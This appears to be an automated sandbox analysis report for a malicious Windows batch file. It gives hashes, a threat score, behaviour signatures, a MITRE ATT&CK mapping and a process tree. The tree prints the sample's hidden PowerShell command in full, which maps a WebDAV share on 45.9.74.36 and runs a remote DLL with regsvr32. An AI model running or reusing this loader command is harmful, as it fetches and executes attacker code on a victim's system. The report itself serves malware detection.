8500b5ebf6a2940bc6217c87acc11c6464520179bdf1c93fee2d61c27fd1a868

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
21/07/2024, 19:38

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General

Target

7576289933203012142.bat
Size

10KB
MD5

7937d77f7cb47a6ac14b9d2afa8006a1
SHA1

5c79c1f3a90e8a191dcca47b495aa0f44b9bbc52
SHA256

8500b5ebf6a2940bc6217c87acc11c6464520179bdf1c93fee2d61c27fd1a868
SHA512

60436f787877e2cb9c2081b44764593571847f5c151ab8fbc41bb5016d48c1e9cf6fef399c7f651cddb31ad0aa1732f94705ef63dfd36bf4b5cafd7b79da052f
SSDEEP

192:UrTBJ8O3LiOhXJsVkZ1urna6KZfcMbY60a+zSr6zivzmYTjnJB:qDt3LZXJoFrnatZEAY60a/7m+jJB

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2176	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2176	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2176	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2348	wordpad.exe
2348	wordpad.exe
2348	wordpad.exe
2348	wordpad.exe
2348	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2532 wrote to memory of 2348	2532	cmd.exe	31
PID 2532 wrote to memory of 2348	2532	cmd.exe	31
PID 2532 wrote to memory of 2348	2532	cmd.exe	31
PID 2532 wrote to memory of 2176	2532	cmd.exe	32
PID 2532 wrote to memory of 2176	2532	cmd.exe	32
PID 2532 wrote to memory of 2176	2532	cmd.exe	32
PID 2176 wrote to memory of 2876	2176	powershell.exe	34
PID 2176 wrote to memory of 2876	2176	powershell.exe	34
PID 2176 wrote to memory of 2876	2176	powershell.exe	34
PID 2176 wrote to memory of 2364	2176	powershell.exe	35
PID 2176 wrote to memory of 2364	2176	powershell.exe	35
PID 2176 wrote to memory of 2364	2176	powershell.exe	35
PID 2176 wrote to memory of 2364	2176	powershell.exe	35
PID 2176 wrote to memory of 2364	2176	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\7576289933203012142.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2532
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\138492084312080.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2176
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2876
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\138492084312080.dll
    3⤵
    PID:2364

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2176-23-0x000000001B4C0000-0x000000001B7A2000-memory.dmp

Filesize
2.9MB

Download
memory/2176-24-0x0000000002790000-0x0000000002798000-memory.dmp

Filesize
32KB

Download